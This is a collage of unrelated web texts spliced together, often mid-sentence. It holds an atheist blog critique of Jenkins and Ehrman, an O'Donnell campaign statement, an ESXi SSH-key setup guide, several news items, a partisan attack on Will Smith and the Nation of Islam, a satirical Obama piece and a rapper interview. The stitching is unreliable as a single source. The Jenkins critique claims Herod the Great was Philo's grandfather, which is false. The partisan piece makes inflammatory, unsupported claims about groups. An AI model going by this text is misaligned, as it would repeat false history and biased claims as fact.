“The overwhelming weight of what we know about the emergence of the Jesus Movement between 30 and the 80s, say, shows a potent continuity of historical memory. Bart Ehrman’s latest book… Jesus Before the Gospels raises questions about how far that memory can be reliably used for specific details, for any particular act or saying of Jesus. Fair enough, and let’s debate those points: to say the least, Ehrman is a competent and credible scholar…, although I think he goes too far here. But Jesus’s existence as some kind of myth or false memory? No way. (Obviously, that is not what Ehrman is arguing!)”
In my deconstruction of that paragraph I noted:
“Since Jenkins has in fact no real knowledge of how Christianity began, he appeals to the authority (partly) of Bart Ehrman’s new book, Jesus Before the Gospels. Regrettably, I’ve not yet had time to read that book, but it doesn’t matter. Appealing to authority instead of presenting evidence is a fallacy of informal logic. If Ehrman does in fact have proof of “a potent continuity of historical memory,” why doesn’t Jenkins share it with us? Oh, I forgot an important phrase: “…although I think he goes too far here.” Is Bart coming around to my point of view? I can’t wait now to read his book!”
You probably have guessed it: I now have read Bart Ehrman’s Jesus Before the Gospels, and I can now explain why Jenkins referred to it. I also can take this opportunity to make a quick critique of Ehrman’s latest effort to keep upright while wading around in “the far swamps” of historical Jesus apologetics. Let’s wade right in.
Although I sent him a copy of my Bart Ehrman and the Quest of the Historical Jesus of Nazareth when it had been published, it is not likely that Bart ever read my extended critiques of his book Did Jesus Exist? In several chapters I argued that he had too narrow a scholarly background to deal with the subject of Christian origins, and that he needed to be more interdisciplinary in his approach. Specifically, I chided him for not being scientific in his approach. Apparently on his own now, Bart has come to the realization that he has come to the limits of what can be done as just a New Testament scholar and he must now consult at least one scientific discipline to be able to go further in his quest to understand the origins of Christianity and to evaluate the evidence—such as it is—on which reconstructions of the historical Jesus perforce must depend. He makes a laudable effort to understand what psychology, anthropology, and sociology have to tell us about memory and how memories become altered not only in the process of individual recall, but in the process of social transmission of “collective memories” through time.
Bart begins with the unwelcome fact—unwelcome to Fundagelicals, that is—that we have no eyewitness accounts of Jesus, and then he admirably sums up the evidence relating to the unreliability of so much of actual eyewitness testimony. This is pretty bad news for worshippers of the New Testament texts. Then he goes on to deconstruct apologetic efforts to show that ancients living in “oral cultures” preserved amazingly accurate memories of their subjects, and goes into the transformative and distorting effects of transmission of collective memories through various communities and cultures.
How is one to sort out what actually occurred in the past from all the “distorted memories” surviving in variant traditions recording them? Well, Bart has extracted “gist memories” from conflicting accounts, and he gives a number of examples of what might be called “gist criticism” of various stories in the canonical gospels. For example, from the four contradictory accounts of the events leading to the crucifixion (better, the cruci-fiction!) of Jesus, Bart deduces ten “gist memories” of the event, including: (6) After it was dark, following a final meal…with his followers, Jesus was arrested in a garden in the presence of his disciples; (7) He spent the night in custody; (8) The next morning he was brought before… Pontius Pilate, on the charge that he was calling himself king of the Jews; and so forth.
While a scientist must find such inferences risible, I nevertheless must praise Ehrman for realizing at last that he must resort to science to solve the problems of his field of inquiry. It should not be too surprising or blameworthy that in this first attempt he has failed to employ the tools of science correctly. In any case, it is necessary to explain what is wrong with his attempt to employ “gist memory” to support—however feebly—the idea of a historical Jesus.
First of all I must note that Ehrman, like all Jesus historicists, begins by assuming that which is to be proved—the historicity of a Jesus of some place or other. Then he proceeds to treat the New Testament documents as though they are distorted, collective memories of historical events. He doesn’t realize that his entire book is an exercise in counterfactual reasoning—in fact if not in form. Instead of saying “The gist memory indicates that Jesus pissed off the authorities and that led to him being arrested,” he should be reasoning “If Jesus had existed and done something to piss off the authorities, he would have been arrested”—or he should be addressing innumerable similar counterfactual statements. He should have taken as his analytical model a statement such as “If Dorothy had not been konked on the head by flying debris, she never would have met a cowardly lion.”
As I have noted, Ehrman realizes that he needs a scientific approach to historicity questions, but he doesn’t realize that he needs to show that the “historical memories” found in the New Testament are memories of actual historical events rather than evolving collective memories of written texts or of oral, secret mystery lore. He must show that his imagined oral tradition derived from historical events rather than from secret mysteries handed down by word of mouth from initiate to initiate. Are we dealing with historical memory of events, or historical memory of mythic themes?
So it is that Jesus Before the Gospels provides neither evidence for the historicity of Jesus of Nazareth nor any arguments that can do other than undercut Jenkins’ apology. (It is interesting to see that Ehrman seems to have thought better of insisting on the historicity of a Jesus specifically coming from Nazareth, although he clearly still is disregarding the evidence published by René Salm in NazarethGate that show once again that “Nazareth” did not exist when Jesus should have been living there.) Once again, I must ask: if Ehrman’s book is a devastating debunking of literalist claims concerning the New Testament, why did Jenkins devote a whole paragraph alluding to—but never quoting from—Jesus Before the Gospels?
I abandoned Psychoanalysis and Freudian psychology as soon as I began to study physiological psychology back in the 1960s, and so I think trying to psych-out Jenkins’ conscious or unconscious motivations would be not just unscientific and futile, it would simply be an ad hominem abusive-species argument that probably would reveal more about my own darkling tendencies than about the subconscious of our apologist! Consequently, I think that a rhetorical analysis—seeing what the paragraph actually accomplishes—will be a more appropriate way to answer my question.
First, let me consider why Bart Ehrman—the great apostate from Moody Bible Institute beliefs—would be useful to Jenkins’ arguments. Ehrman is the bête noire of the Fundagelicals. A New York Times best-selling New Testament scholar, Bart “knows where the bodies have been buried” and has published a series of books that have been nothing short of devastating to literalist interpretations of the New Testament. Throughout the years, his research has led him not only to Atheism, it has brought him ever closer to a Mythicist position—despite his protestations to the contrary. In Jesus Before the Gospels, Bart saws further and further through the historicist branch on which he has been standing since his Moody Bible Institute days and now is but a hairbreadth away from precipitating from the tree of tradition into the Mythicist criticism camp.
It appears to me that citing Bart Ehrman without quoting him accomplishes at least seven things.
(1) It appears to be appealing to the authority of an acknowledged expert (“Ehrman is a competent and credible scholar”).
(2) It introduces the subject of “historical memory” and gives the false appearance that Ehrman’s new book supports Jenkins’ claim that “The overwhelming weight of what we know… shows a potent continuity of historical memory.”
(3) It correctly indicates that a famous Atheist New Testament critic nevertheless believes that Jesus was an historical figure. It thus commits the fallacy of appeal to authority instead of providing evidence to support a claim.
(4) By the disclaimer “although I think he goes too far here,” Jenkins reassures his intended audience that he has not gone over to the Dark Side (the side of thinking instead of believing!) and that even a notorious heretic agrees with his core belief.
(5) By admitting that Jesus Before the Gospels “raises questions about how far that memory can be reliably used for specific details,” and then saying “fair enough, let’s debate those points”—but then not debating anything Bart has written—Jenkins leaves the reader with an unsubstantiated claim that probably will be falsely remembered by believing readers as a successful rebuttal of Ehrman’s heretical claims. It leaves the impression that Jenkins nevertheless has been able to harvest powerful proofs of the historicity of Jesus from the heresy-harrowed fields of Bart Ehrman’s farm!
(6) Once again, Jenkins has vaccinated his audience to confer immunity not only to Mythicist claims, but also to less radical heresies: “Jenkins has been able to answer Ehrman’s claims,” believers will think; and they will conclude that “I don’t need to read Ehrman’s book; even that heretic agrees that Jesus was real.”
(7) By creating a confusing paragraph structure with two hyperlinks to derail the reader’s train of thought, and by linking together various claims and observations that have no obvious logical connection to each other, Jenkins induces a state of confusion and disorientation in the reader. Instead of trying to analyze the paragraph as I have done here, dazed readers will merely proceed with a mild post-hypnotic suggestion embedded in their minds: “Jenkins has been successful once again.”
One last observation: Jenkins would not want his audience to read Ehrman’s latest book for all the reasons that are obvious to anyone who has read my summary of his book. But there is one more reason—a reason that really surprised me as I read Bart’s book. I learned that Philo of Alexandria had mentioned Pontius Pilate and Tiberius. Although Bart didn’t say where in Philo’s voluminous writings he had done that, thanks to the fact that I own two indexes to the Greek text of Philo, I was able quickly to discover two references to Pilate in his Embassy to Gaius (Caligula) [XXXVIII 299, 304].
Those who have been reading my critique of Jenkins from the beginning will recall that in blog posting Number 20 (Part L) I dealt with Jenkins’ attempt to explain why Philo of Alexandria [c25 BCE–c50 CE] made no mention of Jesus. “But why on earth would he [Philo] have heard of such an affair in a neighboring land at the time, or thought it of the slightest significance…?” Jenkins wrote. Why indeed!
As I read the passages preceding Philo’s references to Pilate I learned something even more important—something I have never seen in any of the brief sketches of Philo available on-line: Philo’s grandfather was none other than Herod the Great, the guy who would have been slaughtering all the babies of Bethlehem when his grandson Philo would have been a teenager or young man! How could Philo not have known what was going on in Judea?!
But to return to Philo’s mentions of Pilate. Philo tells how Pilate had tried to dedicate some gilt shields in Herod’s palace (Philo’s grandfather’s palace!) and how that had caused a tumult due to its presumed violation of the Second Commandment against graven images (the one missing from Catholic Decalogues) and that the Judeans had sent a letter to Tiberius Caesar telling of Pilate’s “acts of insolence, and his rapine, and his habit of insulting people, and his cruelty, and his continual murders of people untried and uncondemned, and his never ending, and gratuitous, and most grievous inhumanity.” Moreover, Philo indicates he knew the actual content of Caesar’s letter in reply and that it excoriated Pilate!
Clearly, given Philo’s intimate knowledge about the Judean setting of the New Testament stories, his lack of mention of Jesus of Nazareth—or Jesus of anywhere at all—in connection with both Pilate and his grandfather is a very loud argument from silence. Even if Jesus had not performed any of the miracles claimed in the gospels, if he had done the things in Ehrman’s list of “gist memories” it is impossible that Philo would have passed up any opportunity to mention at least some of them. I don’t think Jenkins would want the faithful to read Philo anymore than he would want them to read Ehrman!
Next time: We will examine Jenkins’ reply to the charge that “There are no contemporary references to Jesus in non-literary sources, bureaucratic or otherwise.”
Frank Zindler is the past interim President of American Atheists, a member of the American Atheists board of directors, the chief editor of American Atheists Press, and an esteemed academic and activist.
(Photo credit: Eric Lin via Flikr; https://www.flickr.com/photos/phonescoop/214501602/)
Stay in touch! Like NoGodBlog on Facebook:Delaware Republican Senate candidate Christine O'Donnell's campaign has responded to our story earlier today about her 2007 Halloween one-night stand. "I am not a witch," it begins. Just kidding! The statement, which was posted to O'Donnell's Facebook page, is below.
Wilmington, DE – Communications Director Doug Sachtleben stated in response to the universal condoning of the Gawker story:
"This story is just another example of the sexism and slander that female candidates are forced to deal with. From Secretary Clinton, to Governor Palin, to soon-to-be Governor Haley, Christine's political opponents have been willing to engage in appalling and baseless attacks — all with the aim of distracting the press from covering the real issues in this race. Even the National Organization for Women gets it, but Christine's opponent disturbingly does not. As Chris Coons said on September 16th he would not condone personal attacks against Christine. Classless Coons goons have proven yet again to have no sense of common decency or common sense with their desperate attacks to get another rubber stamp for the Obama-Pelosi-Reid agenda. Such attacks are truly shameful, but they will not distract us from making our case to Delaware voters — and keeping the focus on Chris Coons' record of higher taxes, increased spending, and as he has done again here, breaking his promises to the voters."
The National Organization for Women (NOW) on Thursday condemned the tabloid website Gawker for publishing an anonymous account: NOW issued a statement late Thursday stating that "sexist, misogynist attacks against women have no place in the electoral process, regardless of a particular candidate's political ideology."
"NOW repudiates Gawker's decision to run this piece. It operates as public sexual harassment. And like all sexual harassment, it targets not only O'Donnell, but all women contemplating stepping into the public sphere," said NOW president Terry O'Neill.Shell access to an ESXi host provides essential maintenance, configuration and troubleshooting commands. It can be used in cases that cannot be handled through the standard vSphere Client. In my case, I tend to have SSH activated by default. From a security perspective it is recommended to keep SSH disabled, but with the management network behind a firewall I feel secure.
If you are using SSH daily I am sure that you are familiar with the public key authentication. PKI is an authentication method that relies on a generated public/private keypair and enables the login without entering a password. This method is faster and more secure than entering a password manually because every administrator can have his own public/private keypair.
This post explains the methods how to enable and automate public key authentication with ESXi Hosts.
If you do not already have an SSH Key, the first step is to create an SSH Keypair:
Creating an SSH Keypair with Linux
It's a standard task to create a keypair with Linux. The public key you need to put on your ESXi host is stored in ~/.ssh/id_rsa.pub:
~ # ssh-keygen -t rsa -b 4096 Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. The key fingerprint is: 99:b2:38:a0:47:1d:16:89:e5:e9:35:1c:cb:ac:1e:15 The key's randomart image is: +--[ RSA 4096]----+ | oo.E | |...* + | | = O | | + =. o | | o =. S | | o o o o | |.. +. | |.. | | | +-----------------+ ~ # cat ~/.ssh/id_rsa.pub ssh-rsa AAAAB3NzaC1y[...]
Creating an SSH Keypair with Windows
You need the following tools:
PuTTY (SSH Client)
(SSH Client) PuTTYgen (SSH Key Generator)
(SSH Key Generator) Pagent (SSH Auithentication Agent)
All programs are free and available for download here.
1. Open PuTTYgen
2. Click "Generate"
3. Move the mouse to generate random data. The result should look like this:
4. Click "Save public key" and choose a path
5. Click "Save private key" and choose a path. If you want to use this key for production you should set a passphrase at this point!
Enable the SSH authenticatien Agent
1. Start Pagent
2. Doubleclick the Pagent Trayicon
3. Click "Add Key" and open your private key file (.ppk)
Deploy public keys
You public key has to be stored in /etc/ssh/keys-root/authorized_keys at the ESXi host. The file works the same way as the authorized_keys file on an Linux host. Do not use the ssh-copy-id command to copy your public key to another system. This does not work for an ESXi host.
1. Connect to the ESXi host using PuTTY
2. Login as root
3. You should be familiar with vi to edit the keyfile:
~ # vi /etc/ssh/keys-root/authorized_keys
4. Press i to enter "Insert Mode"
5. Copy your public key (one line, starting with ssh-rsa) and paste it into vi (right click)
6. Press <ESC> :wq <ENTER> to save and quit vi
Deploy public keys with Host Profiles
SSH Keys are part of Host Profiles. If the key is deployed on the reference host, it will be applied to all host within the host profile. If you want to edit the profile manually, you can found the configuration in:
Security configuration > SSH authorized key for root user > SSH public key for root user > Key
Deploy public keys during the installation with kickstart
You can add this snippet to your Kickstart configuration to automatically enable SSH, remove the Shell Warning and add your SSH Key to the ESXi host:
#esx/ssh vim-cmd hostsvc/enable_ssh vim-cmd hostsvc/start_ssh esxcli system settings advanced set -o /UserVars/SuppressShellWarning -i 1 cat > /etc/ssh/keys-root/authorized_keys <<EOF ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAtuq[...] EOF #esxi/ssh end
sshAutoConnect Plugin
If you are using SSH, you should also check the sshAutoConnect Plugin made by vmdude. This Plugin allows you to connect to an ESXi host directly from the vSphere Client.The batch of bananas the suspect pulled from before going into a rampage at the Shell station at First Avenue at 96th Street. View Full Caption DNAinfo/Shaye Weaver
YORKVILLE — He went bananas.
An East Harlem man gobbled up bananas he didn't pay for before knocking over shelves of food and stomping on the goods at a Shell gas station on First Avenue, the NYPD said.
The 53-year-old walked into the station's food market on First Avenue near East 96th Street at noon on June 24 and ate a banana without paying for it, police said.
When employees told him to leave, he refused and started to munch on more bananas before knocking down shelves filled with chips and soda, according to police and a criminal complaint.
The suspect then stomped and smashed the chips before employees could call for help. The merchandise he destroyed totaled $250, police said.
Bananas sell for two for $1 at the station, a sign posted inside the station says. Employees working there Friday afternoon said they weren't aware of the incident.
The man was arrested and charged with criminal mischief and disorderly conduct. He pleaded guilty at his arraignment and was sentenced to time served, according to the Manhattan District Attorney's Office.BOSTON (AP) — Whether solo, jogging in a crowd, or lost in the sensation of music thumping through his headphones, Danny Dwyer sees his thorny past, thankful present and unwritten future blend to form the perfect sanctuary.
This is how he trains for this year’s Boston Marathon.
Each step is one away from battles with drug addiction that began when he was 8 years old. It’s a struggle that’s swallowed up a coveted job with the Boston Police Department and an engagement. For four years, he lived under a bridge. Now, he’s rededicated his |
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from the oh-come-on dept
A free download, the app retains the searchable directory but also lists menus from different cafeterias across campus, tallies students' dining-card and Bevo Bucks balances, delivers class schedules, shows campus maps, and more.
On Feb. 1, the Mutual team learned that UT had raised another objection to its latest app, specifically to the use of the word "Texas" in the name. "As this name is confusingly similar to the Texas [trademark], UT objects to such use," reads a notice sent to the Apple app store by attorney Wendy Larson. UT's board of regents began trademarking university properties back in 1981. A list of protected trademarks appears on the university Office of Trade mark Licensing Web page; alongside more specific trademarks such as Bevo and Lady Longhorns is, simply, Texas.
Trademark law, when used properly, serves an important purpose in making sure that consumers are not made worse off by being tricked into buying lower quality products and services under the belief that they're actually coming from someone else who is trusted. But in the age of the "ownership culture," where too many people have tried to twist trademark law away from its true origins to make it appear to be a quasi-"property right," you get too many cases of people using trademark law to actually make consumers worse off.Take for example this story, sent in by iamtheky about how the University of Texas is trying to stop some former students from making an incredibly useful iPhone app for UT students, called iTexas, by claiming it infringes on their trademark onThe makers of the app, Mutual Mobile, have made a bunch of successful iPhone apps, but UT got upset last year when the company introduced the UT Directory, which put a much more useful interface on (you guessed it) the UT staff and student directories. After the University complained, the company felt that perhaps the use of the school's colors made it look like an "official" app, so they agreed to fix that part. When the company launched iTexas, it made sure that it didn't have the school's color scheme or do anything to make it appear as the official app. But it did make the app a lot more useful:This sounds like a great and rather useful app. Exactly the sort of thing that the University should be encouraging, not just because it would help some alumni succeed, but also because UT students would likely find the app quite useful. But, that's not the way UT officials think, apparently:Lesson learned: don't try to make life better for UT students without first paying the University.
Filed Under: apps, iphone, itexas, texas, trademark, university of texas
Companies: mutual mobile, university of texasWe’re approaching the 20th anniversary of the Million Man March. Sadly, “Minister” Louis Farrakhan, the leader of the Nation of Islam is still around spouting his hateful rhetoric.
The Nation of Islam has deep ties to the Black Panthers, a domestic terrorist organization which openly admits its interest in murdering whites.
More from The Political Insider
To remember the march, they are organizing “Justice… Or Else!” in Washington, D.C. And famous actor Will Smith, along with his wife, donated $150,000 to offset the costs of the rally.
You may love Will Smith from his famous role on the “Fresh Prince of Bel Air” and his countless box-office movie successes.
Farrakhan posted on his Facebook page, “the couple happily donated $150,000 to offset the cost of hosting the upcoming historic gathering!” He reminded his radical followers that Smith also attended the original march in 1995. He announced the donation at Tindley Temple United Methodist Church in Will Smith’s hometown of Philadelphia. He’s using the massive donation to attract other celebrity donations, as he needs approximately $2 million to make the bigoted pro-Islam rally happen this October.
Supposedly, Smith is a former Scientology member who opposes all organized religion, but that hasn’t stopped him from using his deep pockets to promote radicalized Islam.
Farrakhan has an extensive record of insane comments and racist rants about police officers. He supports violence and the type of hate that should be shunned in any civilized society.
Soo Will Smith basically donates 150K to a black supremacist hate group. That’s pretty much what the Nation of Islam is. #yeahisaidit — Trish (Queen Bossy) (@ExPoleDancer) September 14, 2015
10-10-15: It’s going to take $1.8M, maybe more. We need your help. #Farrakhan #JusticeOrElse — Brother Jesse (@BrotherJesse) September 9, 2015
Is tyrese gibson really converting to islam after will smith? Kewl 👳 he said his life has changed forever… [pic] — https://t.co/2XZEUAgAtD — Catherine Halijah (@catherine_tohir) June 21, 2015
This is enough to make me stop watching Will Smith movies. What do you think? Please leave us a comment (below) and tell us what you think!WASHINGTON—Moving quickly to begin the process of filling the unexpected vacancy on the Supreme Court bench, President Obama spent much of the weekend compiling a shortlist of gay, transsexual abortion doctors to replace the late Antonin Scalia, White House sources confirmed Monday. “These are all exemplary candidates with strong homosexual values and proven records of performing partial-birth abortions, but am I missing anyone?” Obama reportedly asked himself while reviewing his list of queer, gender-nonconforming, feminist Planned Parenthood employees, all of whom were also said to be black immigrants. “I definitely have enough post-op transsexuals on the list, but it is a little light on pre-op candidates. And I should probably add a cop killer or two on here just to round out my options.” Sources later confirmed that Obama was attempting to rapidly narrow the list down to the single best nominee to submit to the Senate in hopes of wrapping up confirmation hearings before his choice had to leave to attend the Hajj pilgrimage.The Internet Archive is an online library known for pushing the boundaries of copyright law to promote public access to obscure works, including classic video games and historic images. Now the organization is taking advantage of a little-noticed provision of the 1998 Sonny Bono Copyright Term Extension Act to publish complete copies of out-of-print books published between 1923 and 1941. The group hopes that the move will inspire other libraries to follow its lead, making hundreds of thousands of books from the mid-20th Century available for download.
The Internet Archive has cheekily named this the "Sonny Bono Memorial Collection." Bono was a musician turned member of Congress who died in a skiing accident months before the legislation passed. His widow, Mary Bono, won his seat in the House of representatives. During the debate over the Copyright Term Extension Act, Mary Bono said that "Sonny wanted the term of copyright protection to last forever. I am informed by staff that such a change would violate the Constitution." So Congress did the next best thing, retroactively extending copyright terms by 20 years and naming the legislation after Sonny.
Congress passed the controversial law in 1998 under heavy lobbying from major content holders. The law is the reason Mickey Mouse, Batman, and Gone with the Wind haven't fallen into the public domain—all had copyrights that were due to expire between 1999 and 2017—until Congress intervened.
The 1998 law was championed by big companies and the estates of famous authors and artists. But critics pointed out that it would needlessly limit public access to more obscure works—works that were out of print and therefore not generating any income for the authors or their heirs. And Congress was passing the law just as digitization technology and the Internet were making it possible to give these works a second life as free downloads.
So Congress included a provision giving libraries broad latitude to reproduce works that are in the last 20 years of their copyright terms for purposes of scholarship and research. The most significant restriction: the works have to be out of print and not available for a "reasonable price."
The Internet Archive is blazing a path for other libraries
Theoretically, then, the law allows libraries to scan hundreds of thousands of works from the 1920s and 1930s and post full copies online. But until this week, it seems that no one had done this yet—partly because the law is vague and partly because libraries must do some research to verify that a work qualifies for the exemption.
The Internet Archive is hoping to change that with the Sonny Bono Memorial Collection. The collection initially has only 62 obscure books, but Archive founder Brewster Kahle promises that "thousands more books will be added in the near future as we automate."
The Internet Archive worked with Tulane University copyright scholar Elizabeth Townsend Gard and two interns to develop an efficient process for determining which works qualify for online reproduction by libraries. The process includes searching Amazon for used copies as well as consulting commercial databases.
IA hopes to not only build its own online collection of books published between 1923 and 1941 (it already publishes thousands of public domain books published prior to 1923), but to inspire conventional libraries to digitize books from their own vast collections and make them available online.
And each January, another batch of books will become eligible for this exemption. On January 1, 2018, books published in 1942 will be within 20 years of expiration and therefore eligible for online publication if they're not already being commercially exploited.
As Kahle emphasizes in his blog post announcing the ruling, this provision of copyright law doesn't fully mitigate the harms caused by the 1998 term extension. The process for determining which works are eligible is more cumbersome than determining whether a work is in the public domain, and the most important works are excluded. But it does help to ensure that absurdly long copyright terms don't completely cut off public access to older, less popular works.Bruce is set to get a touch of Braddon as a new $20 million hotel and residential development aims to create an engaging public space within walking distance of GIO Stadium.
The project on the corner of Ginninderra Drive and Braybrooke Street is the creative work of Lonsdale Street Traders founder Nik Bulum and architect Nathan Judd, who are behind many of Braddon's latest redevelopments including the Ori building.
An artist's impression of the $19.75 million development planned for 39 Braybrooke Street, Bruce.
The plans, recently lodged for approval with the ACT Planning and Land Authority, would create two "distinct" but joined buildings, one of six-storeys which would include a bar, roof top function centre and 60-room hotel, and the other of five-storeys containing 31 residential apartments.
Mr Judd said there was a conscious effort for the development to create a mini precinct.SINGAPORE - It's no go for a call to allow Singaporeans to display the national flag in front of their homes on Sunday, when the state funeral of Singapore's first Prime Minister Lee Kuan Yew is held.
Mr Lawrence Wong, Minister for Culture, Community and Youth, has turned down the suggestion from a group of young grassroots volunteers from East Coast GRC.
In a Facebook post on Friday, Mr Wong said the decision was taken following feedback that the gesture, usually associated with National Day celebrations, "may not be the right tone for the day of the state funeral".
Guidelines on the National Heritage Board's website note that outside the National Day period from July 1 to Sept 30, the flag must be flown from a flagpole. And if it is displayed or flown at night, it should be properly illuminated.
//
I read about the plans to fly the Singapore flag on Sunday. I think it's very good to have such ground-up initiatives,... Posted by Lawrence Wong on Thursday, 26 March 2015
This guideline will apply on Sunday but those who would like to fly the flag at Mr Lee's funeral are encouraged to carry it along the procession route, Mr Wong said. This is already allowed under current rules, he added.
Mr Wong commended the spirit of the grassroots volunteers. "I think it's very good to have such ground-up initiatives, and I strongly encourage this spirit of expression to pay tribute to Mr Lee," he said.
"At the same time, I've received feedback from several members of the public that having flags displayed all over our HDB blocks may not be the right tone for the day of the state funeral," he added.
As for whether to wear black or white on Sunday - a matter of some discussion online - Mr Wong said: "We all express our emotions in different ways. And we all want to say our final farewells to a great man in our own ways.
"So I encourage Singaporeans to be inclusive and embrace these different actions. Amidst our diversity, let us all come together as one to honour Mr Lee's spirit and legacy," he added.(Copyright 2009 IrishCentral LLC)
5/23 UPDATE: What they talked about... Click here
Photo gallery: Click here
Comment: How they could spend the money in Ireland
A top-secret meeting of the world’s richest people to discuss the global financial crisis was held in New York on May 5, IrishCentral.com has learned exclusively.
The mysterious, media-blackout meeting was called by Warren Buffett, CEO of Berkshire-Hathaway; Bill Gates, co founder of Microsoft; and David Rockefeller Jr., chairman of Rockefeller Financial Services.
In addition to Gates, Buffett and Rockefeller, the attendees included Oprah Winfrey, George Soros, Ted Turner, and New York City Mayor Michael Bloomberg, among others.
It was held in the President's Room at Rockefeller University In New York at 3 p.m. on that Tuesday afternoon.
How so many giant figures in American life managed to interrupt and coordinate their schedules on such short notice, and meet in total secrecy in the world’s media capital remains a mystery -- as does the ultimate outcome of the billionaires' conference.
In their letter of invitation, Gates, Buffett and Rockefeller cited the worldwide recession and the urgent need to plan for the future. They said they wanted to hear the views of a broad range of key leaders in the financial and philanthropic fields.
Each attendee was given 15 minutes to deliver a presentation on how they saw the future global economic climate, the future priorities for philanthropy, and what they felt the elite group should do.
According to one of the attendees, Gates was the most-impressive speaker of the day, with Turner the most-outspoken and Warren Buffet the most-insistent on his agenda for change.
Winfrey was said to be in a “listening mode."
Gates was worth an estimated $57B in 2008; more recently, Buffett clocked in at an estimated $37B -- making them the richest Americans.
Winfrey was once the world’s only black billionaire, and has extensive holdings in the entertainment and publishing industries, as well as being a leading philanthropist.
Turner, founder of CNN, once donated $1B to the United Nations. Soros has a personal fortune estimated at $11B, while Bloomberg is listed as the eighth-richest American with a net worth of $20B.
Other invitees included Eli and Edythe Broad, whose current fortune is estimated at $5.2B by Forbes Magazine; John Morgridge, former CEO of Cisco and his wife Tashia; Peter Peterson, senior chairman of the Blackstone Group; Julian Robertson, founder of Tiger Management Corp.; and Patty Stonesifer, former CEO of the Bill and Melinda Gates Foundation.
"They were all there, the great and the good," a participant told IrishCentral.com.Personal development and life hacking has become a popular topic as of late for bloggers and media outlets. The key to true personal development is self actualization and admitting and identifying the things you do well and things you need to improve. Without performing a personal SWOT analysis, it’s difficult to identify how you can become who you want to be.
The internet is a great opportunity for you to build your skills and talents. There are resources around the web that can help you in everything from learning to negotiate like Ari Gold to building as much confidence as Tony Stark. Furthermore, the internet is giving everyone with high speed an opportunity to be as educated as anyone else. All it takes is dedication, hard work and an open mind. Here are five ways you can learn and become more knowledgeable through resources online:
Quora
Of all the sites on this list, I use Quora more than any other channel for developing myself and acquiring new knowledge. What I love about Quora is that it allows me to identify the topics that interest me and deepen my knowledge in that specific interest. Furthermore, Quora provides users with an opportunity to receive advice and information from some of the worlds most knowledgeable people in their appropriate field.
When you find a great answer on Quora it’s filled with interesting insights regarding topics that aren’t necessarily mainstream. A lot of the advice and information you find on Quora is directly from someone who has real experience and wisdom that goes beyond what you can find in a standard textbook.
Here are just a few of the great pieces of content you can find online:
Khan Academy & Coursera
Khan Academy & Coursera will provide you with a great opportunity to learn things you could once only learn in a classroom. The topics vary but they are without question some of the best education resources you can find online. I’ve taken a few classes in on both Khan Academy and Coursera and can attest first hand that these sites are great for anyone who is naturally curious.
Whether you’re looking to deepend your knowledge in Computer Science or simply get a broader knowledge in Gamification; there’s a course on Khan Academy or Coursera for you.
Development Blogs
There are hundreds of blogs online that can provide you with great insights into how to become a better person. Whether you’re looking to live a life of minimalism or a life that is built around becoming successful, it’s easy to find resources to help your personal development.
The fact that there are hundreds of blogs about personal development makes it easy to fall into the trap of reading content that really won’t help you. It’s also easy to become super obsessed with these kind of blogs and not actually implement the learnings from them. Reading blogs on personal development provide us with an immediate satisfaction and the inspiration that makes us feel proactive. It’s important to use these feelings as momentum and actually implement some of these life hacks and learnings into the real world.
Skillshare
So I’ve been following Skillshare for quite a while from afar and just recently have they shifted to a format that actually allows me to use them. This time last year, Skillshare was solely a marketplace for people looking to learn from one another in person. They hadn’t launched in Halifax so I was stuck looking at all of these awesome courses happening from the distance. Recently however, they announced they were going to be opening a new vertical that allowed for online classes.
Yesterday I took part in my first class called “Build an Audience: A Macklemore Case Study in Music Marketing” from Amber Horsburgh who works in Digital Music Strategy at MTV. Pretty cool right? I thought so. Anyways, this is just another channel that you can use to learn from anyone. It gives you classes that are topical and ones that range from Music to Health. Definitely check it out and keep your eyes peeled for a course from yours truly.
Conclusion
In a post where I reflected about the first 9000 days of my life I talked about the importance of self-education. It’s something that I believe is extremely important to personal growth and development. In fact, I think the fact that so many people stop reading after graduation is the reason so many people are struggling to make ends meet.
Of all the videos I’ve seen on Khan or YouTube, this one hits the nail on the head more than most videos I’ve seen. It essentially shows you exactly what kind of world we live in. What resources are out there and how anyone can learn anything.
Hopefully you embrace self-education and can see the value in using the tools I talked about to further develop yourself. Remember what you want to become and identify how you’re going to get there.
And in that spirit, if you want to hold yourself accountable, drop a comment and tell me what you want to become.Lil Snupe was a rapper’s rapper. He spit with such conviction you almost felt stupid not listening to what he said. The mark of a great MC is not how clever their punchlines are or the technicality of their rhyme patterns; it’s simply whether or not they grab you. Snupe didn’t grab you. Instead, he choked you with his rhymes until your eyes bulged and your face turned red. You had no choice but to listen closely.
It was that conviction that got the rapper, born Addarren Ross, signed to Meek Mill’s label in late 2012. During a tour stop in Grambling, La., Meek was sitting in a van ready to pull off when the scrappy young 17-year-old ran up on him, knocked on the window and handed the MMG MC his mixtape. Meek gave the tape a listen and 20 minutes later Snupe was rolling with Dreamchasers, just like that. That’s how you grab someone’s ear.
At the end of March 2013, Snupe released his R.N.I.C. mixtape, which included the wildly popular “Melo.” With a classic Philip Bailey sample to anchor it, the beat was a sure shot, but Snupe’s relentless delivery and clever quips made the song pop. Yet despite the success of the tape and his alignment with Meek Mill, Snupe couldn’t escape the street life. Tragically, he was shot and killed on June 20, 2013.
Nearly three years later, the rap game still feels like it could use a pugnacious spitter like Snupe. Too many rappers nowadays sound drugged up and out of it; Snupe always sounded alert and precise.
XXL caught up with Lil Snupe’s mother, Denesha “Mama Snupe” Chester, recently to talk about her relationship with her son, what he was like growing up, future plans for his unreleased music and much more.
XXL : The intro to R.N.I.C. 1 features home audio of Snupe spitting. How old was he on that?
Denesha: I can’t remember. He may have been 11 or 12. Snupe walked around and rapped all the time and everybody was always impressed, so every time they’d see him they’d ask him to spit something for them, so that’s what he did.
When did you know Snupe wanted to be a rapper?
Actually he’d been talking about it since he was 4 years old. I learned that once he was successful, a neighbor came and told me Snupe came outside and was, “I’ma be a rapper.” And they laughed, and he said, “Yeah you’re laughing now, but you’re not gonna laugh when I blow up.” He was about four or five years old then.
So when he made it, [the neighbor] came and said, “I told my husband I guess we can stop laughing now because he made it.”
How old was he when he recorded his first song?
About 8 years old. We were in Dallas and there were a group of guys that were interested in him, so he started going to the studio after school. But because he started messing up in school, I wouldn’t let him go to the studio. I knew that’s what he loved to do so that was my way of disciplining him.
